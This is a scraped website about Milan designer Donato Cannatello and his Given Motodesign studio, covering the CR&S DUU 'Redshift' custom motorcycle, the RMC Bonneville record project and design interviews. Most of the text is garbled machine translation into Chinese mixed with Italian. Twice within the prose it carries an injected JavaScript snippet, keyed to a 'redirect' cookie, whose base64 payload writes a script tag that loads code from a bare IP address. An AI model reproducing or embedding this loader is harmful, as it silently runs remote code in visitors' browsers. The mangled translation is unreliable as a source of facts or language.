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超级特殊N°14

最后 4 7月在米兰车库鉴于Motodesign提出红移, UNA摩托定制ス基CR&小号进行. 我们都知道CR&S和他的作品在两个轮子, 我们都记得凭借其强大的双缸的DUU, 摩托车“手工制作, 他的心脏, 在米兰“, pensata per la produzione in serie ma che restava altamente artigianale e piena di carattere, speciale già in origine e resa ancora più speciale da un team di esperti di design.

Per scoprire tutti i segreti di questa motocicletta abbiamo deciso di intervistare Donato Cannatello, ex lead designer presso CR&S e ora leader del team Given.
Veniamo accolti calorosamente nell’Atelier arredato con cura dove la REDSHIFT è nata. Andiamo a chiacchierare nell’ufficio soppalcato dal quale possiamo vedere tutta l’officina e i ragazzi del team all’opera.

- Prima di tutto, com’è nata la realtà di Given Motodesign?
Given nasce sostanzialmente dopo la mia esperienza motociclistica in alcune aziende come CR&小号, 无比, Aprilia ed altre.
Ho preferito aprire uno spazio mio e concentrarmi su una azienda che potesse dare spazio alle mie idee. Nasce così Given che non è altro che la trasposizione in inglese del mio nome “Donato”.
Qui cerco di mettere a frutto quelle che sono le mie esperienze dal concept e dal design fino al lavoro in officina… perché in aziende piccole e belle come la CR&小号, dove eravamo in 10, ovviamente tu ti occupi del design ma devi anche andare in officina a montare e a controllare tutti i passaggi… e quindi ho fatto un’esperienza a 360° dello sviluppo della motocicletta.

路透社

luiz

纵观自行车, 你可以不知道这个品牌. 更何况无论是好还是不开车. 但有一两件事是肯定的: 喜欢还是不喜欢摩托车, 这是不可能无动于衷定制机对于给定的, 一个小的设计公司,位于米兰, 在意大利. 正是在那里,巴西人路易斯“光头” Mingione工作, 给予物理形式向意大利设计师科技项目多纳托Cannatello.

下面的新自行车的方式, 有CR&小号进行. 一CR&S为一门手艺制造商谁是出生在 1992 在米兰. 缩写代表“赛车和超级摩托车咖啡”. DUU意味着两个米兰方言, 并指示发动机 2.000 立方厘米. 该模型是在摩托沙龙米兰推出 (EICMA) 在 2009. 据Mingione, 由每个销售单位 40 万欧元.

功能是给表格项目

整形函数是Mingione在玻璃纤维和铝, 并进行三维打印, 给予形式通过Cannatello创建思路. 设计师来到自己的CR工作&发E呐艾普瑞利亚, 除其他摩托车制造商.

由于当时只生产 100 示范单位,现在的品牌不工作, 任何CR自行车&S.将足够独家. 然而, 总有谁想要更多的独家尚客. 这是单元的所有者的情况下. Mingione通知它是谁在意大利和新西兰餐馆荷兰人制造. 定制成本 24 万欧元 (大约R $ 110 千). 价格包括项目, 原型, 部件和人工. 这项工作历时半年.

他还曾在CR&从s (一, 在米兰方言), 意大利品牌的第二个模型. 在这种情况下,, 发动机有 650 立方厘米.

一旦自行车准备就绪, 巴西与她散步,看看是否一切正常. Mingione是一个经验丰富的飞行员, 我 2002 他赢得了巴黎 - 达喀尔, 在类别起来 250 立方厘米.

现在, 他说,他开始在一个新的项目工作, 铃木SV 650, 在生产 1999. “自行车是不值得一万欧元 (R $ 4.500), 但是店主将斥资约 6 万欧元 (R $ 27 千) 做独特的东西“, 说.

他说,第一步是完全拆卸的自行车定制. 然后, 画面重新粉刷,并会收到新的部件, 一个过程,需要四个月左右, 根据复杂.

Mingione的工作原理是项目. 他在给定一年前, 并打算继续在那里,直到今年年底到来.

他说,他决定尝试在米兰的生活,因为他的妻子的父母在城里餐厅. 在此之前,, 然而, Mingione经过几个国家去.

在本田了解到塑造粘土帮助

他在巴西加盟本田 1993. 之间 98 Ë 99, 推出的本田商务之后, 在那里,他的第一个原型, 他的确在该公司的总部实习, 在日本. 那里, 他学会了如何建立与粘土原型, 一种工业粘土, 在建筑模型中使用.

在离开日本品牌之后, 在 2006, 他在中国呆了一个月, 在商人的邀请. 我们的目标是选择潜在的摩托车品牌,可以在巴西出售.

超过”这次巡演 30 公司“, 一个来到来到这个国家, 一个伊朗, 其中封闭 2013.

以下, Mingione是福特在土耳其, 里面放着 2015 一个 2016, 玩黏土在室内卡车的发展.

在 2017, 他回到中国. 这是作为顾问的教练 (联合汽车), 总部设在美国哥伦比亚公司, 我打算让全国摩托车. 其后, 他前往米兰, 要留到明年年底.

“我们必须非常打扫车间”

以下类似路径的谁的梦想, Mingione警惕困难: “印度摩托车为那些谁喜欢和想学习新的东西, 趋势, 材料技术与发展“, 说. “但是,对于一个初学者不容易. 你必须炉排和清扫多少车间。“

这一切, 明确, 出来的法律问题 (工作签证) 和通信. 该语言可能是一个障碍, 取决于所选择的国. 关于补偿, Mingione估计,在意大利初学者会收到之间 600 Ë 800 每月欧元 (R $ 2.700 一个R $ 3.600).

DUU红移 – 设计师的摩托车定制的贡献

摩托车是在这一活动中汇聚设计的和谐不同方面, 最主要的是找到一种技术解决方案“的传输功能”的问题. 制造商不断寻求在其所有的变种,以优化性能, 我们的目标是最有效和能够解决用户的问题也发言风格凸显媒体的情感成分. 情感是主元件, 摩托车手着周围的一切,因为他们比赛他们意味着它有一个完全不同的外观, 与一切真正的和直接接触. 他们是活跃的消费者, 生活街景,而不是寻找, 他们的感觉是压倒性的热情,可以让你感觉完全自由的快感.

下面的论文包括定制摩托车CR的工作经验研究&小号进行, 有问题的客户是一家私营的申请是, 从开始
现有基, 通过添加组件,这些组件将能够提高使有形的美观产生唯一媒体
顾客的愿望. 多亏了强烈的激情
设计者和客户已创建accumuna
同情的键, 这让GIVEN
motodesign完全满足neces

消费者减到, 制作古典基地
一个真正的收藏家的项目. Accomu

从这个强烈的感觉诞生, 只是EMPA

TIA已与客户的沟通非常
简单而有效的, 从而使设计人员
立即了解客户的需求和,
甚至在某些情况下,, 预期. 在这
所以团队合作是有利的柏美

我也倾向于向客户参与
项目给予的即时反馈
进行的研究和原型.
通过对现有技术, GIVEN
motodesign已经能够实现梅茨

ZO它有一个强大的工业组分
同时保持工艺的印记
在一些过程中发现, 这样的公司

TURE和板的弯曲由铝制
手工制作的团队. 不同之间的持续对话
部门导致创造一个产品
能够表达主人的性格, 岸

!蓝盾自己的身份和自己的幸福. 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}

ROBERTO VA A BONEVILLE

Il navigatore del Multivan alle nove e trenta ci ferma davanti al cancello chiuso di una cascina. 一下车. 在一个老太太已经院里,他知道会是将关闭问题. 我超越了灰色的门之前,他听到格拉齐亚诺·罗西同样的话, 马尔科·贝利, 玉田诚.
“而, 这个地址是通过钙“九一, 但他们给了相同的名称工业区的街道上,靠近这里. 你必须回到维罗纳. Al semaforo girate a sinistra e alla prima rotonda a destra.”
Spengo il navigatore tedesco e ci affidiamo a Google Map. 在十分钟的智能手机迭戈给我们带来了在运动的大门. 吉安娜欢迎我们在办公室. 空调破口大骂, 仿佛它会, 和外有40度. 透过玻璃, 在工棚, HRC和美能达品牌,他们知道摩托车. 沿墙一个与品牌Zaeta有色坦克排. 在箱子蓝色打底裤包的女孩环绕Kineo准备发运. Un bel culo….

 

罗伯托在这里给了我们一个约会, 朱利叶斯Bernardelle农场, 可使照片,告诉这个疯狂的项目的第一批. 去人是扎人接近的激情项目. 罗伯托·玛丽亚Crepaldi sessantino是艺术的儿子. 十七岁时,他陪着父亲的经销商的客户取车恩佐·法拉利. 多年来,他帮助将意大利捷豹品牌, 阿斯顿·马丁, Triunph, 哈雷戴维森ËHusquarna. 在 1993 他创立了CR队&小号布里顿ËCON LA布里顿V 1000 他已经参加了旅游杯的三个版本.
今天, 与RMC品牌, 记录电单车, 他的作品去Boneville的盐湖击败了速度纪录锁定到423公里每小时.
虽然迭戈准备相机的机身和镜头, 罗伯托队逐渐满足. 乌戈托里是一个企业家,并与速度和美丽的摩托车激情绅士车手. 朱利奥Bernardelle是项目的技术经理. 他赢得了两个世界罗西和罗伯特·洛卡泰利, 他在摩托车的奔马本田和柯尼卡美能达本田车队的技术总监. 多纳托Cannatello是设计师负责摩托车的流线型车身. 达里奥·马尔凯蒂比赛在赛道上的道路上, 在世界, 在超级摩托车, nell'endurance, 澳门ê铃鹿. 在美国,他已经赢得了在Daytona和Boneville的盐湖几乎将趴在RMC超过四百朝记录每小时跑.
在运动的人引出的棚RMC的原型. Il team si stringe intorno alla motocicletta. Diego inizia a scattare.

Immaginatevi un tardo pomeriggio invernale, un uomo si siede alla sua scrivania, ha davanti un foglio bianco sul quale sta per iniziare a tracciare i primi, emozionati, segni di matita facendo prendere forma allo schizzo del suo sogno, a due ruote, con un marchio tutto suo, che non nasconde certamente i traguardi ambiziosi che vuole raggiungere, 记录电单车.
Quest’uomo si chiama Roberto Maria Crepaldi, e di sogni a due ruote ne ha già realizzati parecchi. Nasce professionalmente nell’ambiente delle quattro ruote, iniziando a lavorare con il padre, che era Concessionario Ferrari. Lui, giovanissimo, ha così modo di conoscere da vicino un personaggio importante per la sua formazione e che di sogni ambiziosi realizzati se ne intende parecchio, Enzo Ferrari.
Dopo l’esperienza nel settore auto, dove passa da Ferrari a Jaguar a Aston Martin, Roberto si dedica alla sua grande passione, 摩托车, 和单纯的乐趣不停止,引导他们. 在参加了在意大利的三个非常著名的品牌,如哈雷戴维森重新推出80年代初, 凯旋和Husquarna. 在 1993 创立团队CR&小号, caferac是 & 超级摩托车,并满足其他重要的人, 新西兰人约翰·布里顿, un architetto appassionato di moto che ha progettato e costruito nel garage di casa la sua una moto da corsa che porta il
suo cognome. V-Twin发动机 1000 CC与循环巧妙而创新的解决方案, la Britten corre nella neonata categoria B.E.A.R.S (riservata a prototipi di moto bicilindriche e tricilindriche non giapponesi) e il Team CR&S diventa il punto di riferimento in Europa e con la Britten V1000 prende parte a moltissime gare internazionali titolate, tra cui 3 Tourist Trophy all’Isola di Man e vince il Campionato B.E.A.R.S. World Series.
Roberto e John sono molto amici, hanno idee ed obiettivi comuni e in comune hanno anche tantissima passione che, condita con altrettanta energia, gli permette di raggiungere questi ambiziosi traguardi tecnici e sportivi. Come molte belle ed emozionanti storie, anche questa purtroppo vive un terribile momento quando, nel settembre del 1995, un brutto quanto inesorabile male si porta via John, a soli 45 anni. Roberto e il Team CR&S tornano al Tourist Trophy nel 1996, su quella magica isoletta spersa nel Mare d’Irlanda, laddove tutto era iniziato pochi anni prima, e con Shaun Harris alla guida, la Britten V1000 passa sotto la bandiera a scacchi del Senior TT, una grandissima soddisfazione per ricordare ed onorare il suo costruttore con un altro sigillo sportivo importante che lega indissolubilmente quel sodalizio vincente venuto dagli antipodi e che non mancherà di stupirci ed emozionarci ancora in futuro …statene certi.
在 2002 Roberto diventa costruttore e il marchio CR&S presenta due interessanti ed originali moto, la monocilindrica CR&S VUN nel 2005 e la bicilindrica CR&S DUU nel 2009.
Torniamo a quel foglio di carta, che pochi minuti dopo, di bianco ha ben più poco. Roberto, che anche in questo ha le idee ben chiare, oltre ad aver tracciato le linee della moto che dovrà nascere, ha già anche in mente la formazione che dovrà trasformare quella bozza, prima affinandola e poi materializzandola, dando vita a un prodotto davvero unico e terribilmente veloce, tanto veloce da onorare il marchio che porterà sul serbatoio nel tentativo di stabilire un nuovo Record di Velocità, 而2, sul lago salato di Boneville.
La squadra deve essere coesa ed efficace, perché di lavoro da fare ce ne sarà davvero tanto e bisognerà farlo bene, molto bene. Per questo Roberto viene affiancato da Ugo Torri, imprenditore, grande appassionato di due ruote e che di traguardi ambiziosi raggiunti se ne intende parecchio, Ugo è il direttore del Progetto RMC.

Per la parte tecnica la responsabilità progettuale ed esecutiva di questa affascinante avventura viene assunta dall’ingegner Giulio Bernardelle, con vastissima esperienza nel mondo delle corse sia nei motori a due tempi, contribuendo ai Titoli Mondiali di Roberto Locatelli e Valentino Rossi in sella alle Aprilia 125 Ë 250 CC, sia nel campo dei propulsori a quattro tempi con trascorsi in MotoGP.
L’aerodinamica è l’altro capitolo di fondamentale importanza per battere il record attuale, che a Boneville per la categoria Partially Streamlined, parzialmente carenate con pilota esposto, dove i nostri hanno deciso di cimentarsi, è di 423 公里/小时. Si, avete letto bene sono quattrocentoventitrè chilometri all’ora, e le linee delle moto saranno curate e realizzate da Donato Cannatello, titolare della Given, dinamica azienda specializzata nello studio prototipale e nella realizzazione di carrozzerie complesse.
Anche nella scelta del pilota Roberto dimostra nuovamente di saperci fare davvero. Colui che avrà l’onere, e l’onore, di ruotare la manopola del gas si chiama Dario Marchetti, pilota professionista dalla carriera ultra trentennale, Dario ha corso in molte delle piste e dei tracciati più importanti ed affascinanti del mondo, da Daytona a Macau collezionando tantissimi successi. Durante una piacevole chiacchierata Dario mi confida: “sai, il fatto che abbiano scelto me non solo mi riempie d’orgoglio, sono emozionato e davvero onorato di fare parte di questo Team, Roberto lo conosco da tanto tempo e lo stimo molto, siamo amici e per lui ho già corso qualche anno fa, proprio su quella fantastica moto chiamata Britten V1000 del Team CR&S”. Tutto torna, magicamente, con passioni ed emozioni che si ritrovano e si intrecciano. “Poi”, prosegue, “alla mia lunga carriera mancano solamente due cose, un tentativo di Record ed il Tourist Trophy dell’Isola di Man al quale dovevo prendere parte negli anni ‘80 ma per quest’ultimo ormai è tardi”.
Grande Dario, ora pensiamo al Record e poi per il TTinteso come Lap of Honourforse si potrà fare qualcosama per il momento non sveliamo nulla e restiamo concentrati su Bonneville.
Completano il Team il Responsabile Media Riccardo Capacchione, giornalista professionista nonché valido tester per moltissime riviste di settore e Raffaele Canepa, fotografo, e regista che svolgerà la funzione di Produttore Media.
Il progetto è davvero interessante e tecnicamente assai intrigante. Un telaio con struttura mista ospiterà il propulsore aspirato a 8 cilindri, molto compatto, posizionato longitudinalmente. Le cilindrate saranno di 2000cc per “Red Spirit”, che rende omaggio all’immensa cultura motociclistica italiana, 多年的绝对参考点所有其他国家, 和 2500 CC为“致敬约翰·布里顿”纪念这个光辉的人物资源不多, 通过技术人员的朋友屈指可数辅助, 他创造了曾经存在过的最好的赛车摩托车之一, 密封John和速度之间的牢固的结合. 在 1993 电动鱼雷布里顿V1000征服在四分之一英里的世界纪录,并站在开始英里,飞行公里.
I lavori procedono spediti e tra qualche tempo potremo sentire il suono di questo poderoso propulsore che avrà una potenza di oltre 400 cavalli. E’ partito il conto alla rovescia per la Boneville Speed Week del 2017. Ghost avrà il piacere e l’onore di raccontare tutte le tappe evolutive di questa bella ed emozionante avventura.
Grazie Roberto e grazie a tutto il Team RMC. Bonneville si avvicina, accendiamo i motori!!!

 

Testo: Pier Giuseppe Ortalda
Foto: Diego Mola

MOTO.IT

按相反的顺序: 你正在阅读的是评论谁还会想从你的读者会写在下面特别EICMA和定制屏幕上的真实文章 2016: 我把自己在外面和新闻中直入个人意见的野生轩然大波, 反感/同情像定制, 和它的许多方面, 其定义是对立的生活和渐近摩托车的对立方式之间的地方, 所以我请大家考虑这些线路只是一种意见: 真正的文章,我会写的愿意读者.

...

要尽量确定自己的方向在数百灯塔,我眨了眨眼说服力, 并了解更多, 让自己给出Motodesign的立场等一个暴露的诱惑 - 有趣的是,在我看来, - 特向全国崎ZRX 1100 (所谓的“操”) 与OFFICINE Riunite米拉内西协作, 这吸引了我很多多边形盘, 确保已设置相同的供应商严格的操作, 传说恩里科Discacciati自己!

多纳托Cannatello (多纳托 - 鉴于... 了解?), 在CR GIVEN的业主和设计经验&小号, 无比, 战斗, 艾普瑞利亚, 他有耐心, 和交换与我聊天,暴露了我他的EICMA的观点 2016 和定制的未来.

为了把给出的多纳托报告的意见, 我们添加一个以交易双方提供规划和设计的,谁想要建立一个原型服务 (从概念到预系列导致生产), 这两个个人请问谁“框关闭”项目上他们的摩托车.

“奇怪的是,我们有从ZRX的DUU多的反馈, 无论是在我们的展位展出, 尽管DUU无疑是一个更精致的设计和ZRX便宜一半了很多, 但显然是最“吸引眼球"».

你如何评价显示的定制和特殊的内水平?

“EICMA水平, 如果我们限制自己的习惯和特殊, 它似乎比前几年要高得多,成熟: 从现实artiginali, 这仍然会产生优异成绩, 我们对各当事方的工程设计转换到更为成熟的方法都. 但从摩托车的点, 代替, 我喜欢哈雷“OPERA”南车库, 很优雅; 他还赢得了比赛, 但你知道比赛几乎赢得他们有点“所有 (多纳托是指类的无数,而不是非常众多参与编者按); 角落里的自定义,而不是显得有点“制服, 空间小,比展会的重要中心分散, 这似乎有点“有悖常理: 这是最具挑战性的部分, invece moltissimi non l'hanno visitata perché non sapevano che era nell'angolo del padiglione 2; è anche vero che c'è una fascia di pubblico che non è proprio interessata al custom, 他们是那些有V-斯特罗姆背后的树干, 但也有谁喜欢看A片坯料很多真正的球迷,而不是还没有设法找到我们».

扎FUTURO德尔定制? 多纳托毫不怀疑:

“突破, 我认为,, 它是从过去的很清楚: 在设计一个特殊的它已经从自行车休息了板凳上即兴, all'effettuare per prima cosa, 在我们的情况下,, 渲染和3D扫描, 然后在计算机上直接运行,并记录双方的手, 在片材或简称为印刷在三维; 定制市场的未来看不到它在设计师的技能, 因为今天每个人都可以拿一台计算机,并把一个孩子通过设计和实施一个3D打印机, 但我认为这会受到法律因素决定, come il rispetto delle norme di omologazione e dall'evoluzione dello stile e delle tendenze: 我们必须看到这种现象多久定制非常artiginale, credo che l'hand made potrebbe benissimo essere soppianto a breve da un customizing più progettato, 设计并发展更多».

Un'ultima domanda: 因为公路自行车细分的面轮胎? (好, 我知道, è una mia crociata personale...)

«E' stata una scelta del cliente... 但我必须告诉你,如果不是该请求的ZRX“Maialona”我们不会因为你看画, 理解支持腹部肌肉,而不是罐的下部概念, che ci sembra una soluzione... “最佳”. 也许没有疙瘩的轮胎,我们会作出一个较小的角运动, 全才“.

我离开摩托车的画廊, con l'ammirazione per tutti gli espositori del settore custom e special che di certo non sono lì per un ritorno economico immediato, ma che spesso investono tempo e denaro invasati dalla passione di spostare sempre un pò più in alto l'asticella dell'eccellenza e della follia.

研究技术和设计

 

张贴在中国的循环 75.000 复制, 用作中国工程学院技术手册, 他卷 “技术的研究与设计” 在一个成功的系列多产教授撰写技术手册第三. 石文.
在内介绍了一些改编自我们的生产工艺, 他们采取例如用于中国青少年学生.
这本书的出版是一个非常愉快和有趣的经历.

内容提要

温为才、陈振益、苏柏霖、恩里科·莱昂纳多Fagone、Donato Cannatello编着的《产品造型设计的源点与突破》从点、线、面、体出发,对产品造型追本溯源,以该源点再次出发,探讨了演绎丰富造型的可能性,以帮助读者透析造型设计的本质。本书提出了6个造型方法,4个造型步骤,3个产品统一性的技巧,为读者从事造型设计工作提供了实际而有效的造型方法。针对自由曲面,提出了混成、围合及动作思维3种造型手法,为读者驾驭自由曲面这一造型难点提供了针对性的解决方案。本书以造型心理惯性出发,提出了5组造型心理惯性及其突破的方法,为读者打破自身的造型局限,进入更为丰富的造型世界开启了一扇窗口。本书采访了多位欧洲顶级设计师,实地走访了多家意大利顶级设计公司,为读者提供了全新的第一手设计资料,通过对这些设计案例的深入分析,可以帮助读者了解了这些优秀设计师的设计方法及优秀设计案例的造型过程,有助于开阔读者的设计视野并提高读者的审美层次。


采访摘要:

1一个. 摩托车的形式,自其有史以来新兴发生了很大变化. 你认为可能参与改变这一进程的因素?

2013 凯旋Boneville我不完全同意.

摩托车的灵魂在超过一百年一直基本保持不变.
这是由一些车型目前在生产,因为他们回忆摩托车的精髓,其重新诠释经典摩托车的风格证实; 两个轮子, 发动机, 振动和情感.
在形式和风格,在时间不可避免地随之而来的变化依赖于在我看来 4 原因: 技术, 时尚, 文化进化和赛车.

 

为了第一 80 多年来,我们一直主要集中在技术演进, 生产机器其目的更比其他enything完美和性能.
在最后 20 年,而不是技术和赛车更有趣的元素停止发展, 离开摩托车的演变唯一的社会/文化方面.

 

截至今天这样的方面是摩托车生产为主,并产生怀旧, 荒诞, 未来或超精细的模型.

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.1b. 以何种方式欧洲摩托车的形式可能会在未来的发展?

 

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欧洲设计, 如东方和西方设计, 将专注以下具体的紧急情况; 形式是由地方生产开始总是被定义.
尽管不可避免的文化污染, 欧洲的生产将始终致力于摩托车是既实用又充满激情, 驾驶与审美特征之间的完美平衡, 乐趣和实用性. 一切都在我们的领土一起走, 所以不均匀, 可变景观, 盘山公路和陡峭的山坡.

当美国致力于生产自己的一望无际的平原和长而笔直的道路, 而在同一时间生产东部倾向于跟随市场, 城市和街道挤满了极强的功能和合理的产品.

 

 

 

 

 

 

 

  1. 每一个优秀的摩托车设计是由它自己独特的风格特色, 传达给客户提供特殊的情感和内涵. 作为一名设计师, 你如何使用的语言形式说明了摩托车的个性 ?

在摩托车设计, 一般多在工业设计, 卷的主要特征, 首先传达一个信息给客户.
看着对着光的东西, 一个可以立即感受到它的性质: 如果它传达力量, 亮度, 速度, 优雅或其他任何.

同样的情况在本质上, 在黑暗中辨别从狮子狗坑牛市刚刚从它的轮廓.

 

  1. 摩托车的设计必须考虑很多地方考虑, 如机箱, 所述发动机和所述排气管等. 看来复杂,铺天盖地地初学者. 你对如何平衡皮肤的任何建议 (覆盖部分) 与结构达到了完美的统一?

杜卡迪,怪物拖拉机5-640x402

这取决于: 是我们借鉴了白色的床单,还是我们工作的东西?

一般来说, 设计应该是第一位的, 前排气管, 该帧之前和发动机之前. 设计已经是第一种方法,以摩托车项目. 然后力学将遵循设计与相互适应的指令.

如果设计的做法是遵循规划 (因为它发生在改型), 然后一些固定点有才能被决定与所有其他可自由进行. 由于技术的对象,如摩托车, 可以有一个简单的规则: 部分被机械地有趣或做得好还没有被覆盖, 但留在众目睽睽. 如果可能的话,是首选的重新设计技术部分是不令人满意的,并使其成为设计的一部分, 而不是覆盖它.

但一个根本的东西有一个在我们的设计, 的视图摩托车的点是从来没有完全横向于自行车但放置更高; 让我们不那么只有设计出漂亮的侧面观, 常横向/优越体积的良好比例更重要的是,侧视图.

 

  1. 在一定程度上, 的立体图, 摩托车的光线和阴影是比较困难的比那些汽车的控制. 我们怎样才能在摩托车草图更好的控制? 能否请您给我们一个摩托车的拉丝工艺( 通过使用 6 图片说明绘图步骤). 对于年轻的学生, 如何提高绘图能力.

考虑到摩托车设计的难点, 我们可以把它解释为一个多层次的设计.

1第一级, 全球视野, 第二级, 更详细, 第三级, 更详细的, 等等. 第一个层次是最重要的, 哪些客户得到一见钟情, 什么你传达一个对象的快感或乐趣.
我的工作遵守这个规则,.
从整体视图开始 (一般卷) 然后用更多的具体细节的定义如下: 尾巴, 前方, 框架, 等等. 到螺丝.

  1. 摩托车和汽车是所有运输车辆以及两者的外形设计自然连接. 然后, 什么, 你认为, 区分他们每个人?

历史, 汽车和摩托车的使用和功能一直是不同的,因此也相应的设计.
现在,他们正在穿越, 不断发展的各个方向.
二手车具有作为主要功能运输, 而自行车被多挂形式的想法 (开玩笑, 味道, 速度).
今日市场趋于填补任何空隙, 因此,我们有车是纯粹的形式和摩托车这是纯粹的功能.

对于摩托车这种变化是现在巩固了市场上 (即, 摩托车), 而对于汽车这个新趋势仍然不占主导地位, 和利益的市场利基小; 但我相信很快我们就会看到汽车行驶在众目睽睽发动机, “裸”的摩托车.

 

 

  1. 现在, 许多新技术, 如碳纤维和LED, 被应用于制造摩托车. 这些新技术将如何影响摩托车的外形设计?

新技术一直影响设计其发展过程中的一个基本组成部分.
个人,我收到来自现代技术赞赏的主要贡献是在生产数量.
今天,它是更容易建立小编感谢摩托车新技术如碳纤维, 发光二极管, 数控机床, 原型和新材料.

例如, 原型和数控铣应用到现代的材料让我们有一个独特的ABS片, 而不需要昂贵的和困难的注射成型的; 此外, 由于硅邮票, 我们可以建立小编份聚氨酯成本低.
此外polyelliptical大灯 (甚至随着LED技术更好) 有助于克服工业化的限制. 他们可以在一个透明的有机玻璃整流罩被墙根, 塑造他们,而不需要同系另眼相看,因为它以前是必要的.
最后的碳和一般的层压板释放我们从塑料结构边界, 机械不仅美观改善.

 

 

  1. 一些顶级摩托车的设计都是由手工完成. 如何摩托车的值由传统手工艺表达?

我喜欢并一直手工的支持者.
在摩托车设计手工基本上粘土建模和细节的电平为高, 但它需要进行必要的逆向工程过程以数字形式转变的一切时间和经济资源.
我更喜欢使用数字是我们所掌握的手段, 避免了类比通道, 简化和加快了创作过程. 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}

RIDERS 08 2009

在男子米兰越来越续EL心, per fortuna c’è ancora qualcuno che costruisce le moto con il cuore e con le mani.
单, 以极大的关怀和热情. 动量故事和那么多男人,他们被告知, ma questa è la storia di un’idea.
一个简单的故事, 但特别在其小.
Se due ruote muovono l’anima, 几个朋友的勇气设法将在米兰摩托车品牌. Un tempo all’ombra della Madonnina operavano marchi come Bianchi, 米勒 - 香脂木豆, 异摩托, 帕里拉, Guazzoni, 因诺琴蒂. 而佩顿巴比诺Pattoni, l’ultimo costruttore privato a battersi nei GP contro i colossi giapponesi, 与四个绿色汽缸.

今天, nella città della moda, a tagliare moto su misura c’è la CR&小号. 从外部看, 其总部是一个小棚子很多人一样在塞蒂莫米兰的工业区. 除了一件事, 摩托车外排队: 看起来很像, 但它们并不完全相同. Sono monocilindriche un pocafè racer, un ponaked formato tascabile. 他们被称为VUN. Sono l’Idea. Le persone che l’hanno realizzata lavorano sotto lo stesso tetto, 作为同摩托车的零件. L’officina È al piano terra, i muri sono tappezzati dai manifesti del Bol d’Or, 旅游杯和阿森. 设计和文书工作部在开放式夹层 (宁, spasi AVERT), 由蜿蜒整流罩超级布里顿V为主 1000. 罗伯托Crepaldi坐在右前方. 这是他谁创立的咖啡馆赛车手 & 在超级摩托车 1992, 离职后的一号打开与卡罗塔拉莫和Max布伦. L’anno seguente incontra John Britten, 辉煌的工程师新西兰人著名的第V 1000. Anche lui all’inseguimento di un’idea veloce. 让布里顿, 由CR支持欧洲&小号, 它展示在世界各地比赛, 直到同布里顿的消失. Sfruttando l’esperienza di imprenditore nel ramo auto (它一直法拉利经销商, 捷豹Ë阿斯顿·马丁), Crepaldi prende spunto dall’ultimo progetto dell’amico John di una monocilindrica da competizione, 单座飞机, 与重量和功率比值等于一个. 一. 的, in dialetto milanese… 约翰Cabassi和乔治·萨尔蒂是朋友, 企业家, 在免费自行车思想家 2002 他们在CR两侧Crepaldi&小号. 罗伯托Pattoni两年后, 儿子巴比诺和佩顿的所有者, 成为CR的合作伙伴&S作为一个技术人员负责开发. 发动机的选择是罗塔克斯庞巴迪 650, apprezzato sulla BMW F grazie alla sua vocazione stradale e all’affidabilitÀ . 设想作为一个赛车单, 所述VUN证明动物以紧密混合, ottima anche per l’uso in cittÀ . Il design fonde le linee classiche del telaio in tubi alla moderna carrozzeria in alluminio, linee affusolate e soluzioni tecnologiche. Ogni esemplare È personalizzabile, perchÈil pilota possa provare il piacere di costruirsi la propria Vun scegliendo componenti e verniciatura. Alla fine del 2006 comincia la produzione di serie, in poche decine di esemplari l’anno, affiancati dai prototipi racing. Di recente si sono aggiunte le due versioni EvoluziÀ²n del mono da 652 CC. La prunta per la cursa sviluppa 68 cv, mentre la nurmÀ l si accontenta di 54 cv a 7.000 giri. Comunque niente male, tenendo conto che il peso a secco È di soli 135 chiliLa Vun parla meneghino perfino nella scheda tecnica, nella quale il disco freno flottante diventa disc balerÀ¬n e la catena con gli o-ring cadÈna cont i anÈi de goma
La grande scommessa della CR&S sembra vinta, la distribuzione si slarga in Europa e Stati Uniti, ma le idee non smettono di girare. Quella di dare l’inevitabile seguito alla Vun, con due cilindri fuori dagli schemi e dalle logiche dei grandi numeri, era giÀ nella testa dei costruttori milanesi nel 2008. FinchÀ©, racconta Crepaldi, al Motor Bike Expo di quell’anno arriva la rivelazione: «Avevamo lo stand della OMM, l’Officina Meccanotecnica Milanese che importa le Wakan, assieme a quello della Confederate, proprio di fronte allo stand Zodiac con il nuovo bicilindrico X-Wedge di S&小号. Quindi Wakan, X-Wedge, Confederate, 的… 引线!».
L’aneddoto racchiude di per sÈla cifra concettuale, stilistica ed estetica della nuova bicilindrica CR&小号. In sostanza: una maxi streetfighter inedita, meno elitaria della Confederate, radicale come la Wakan e costruita
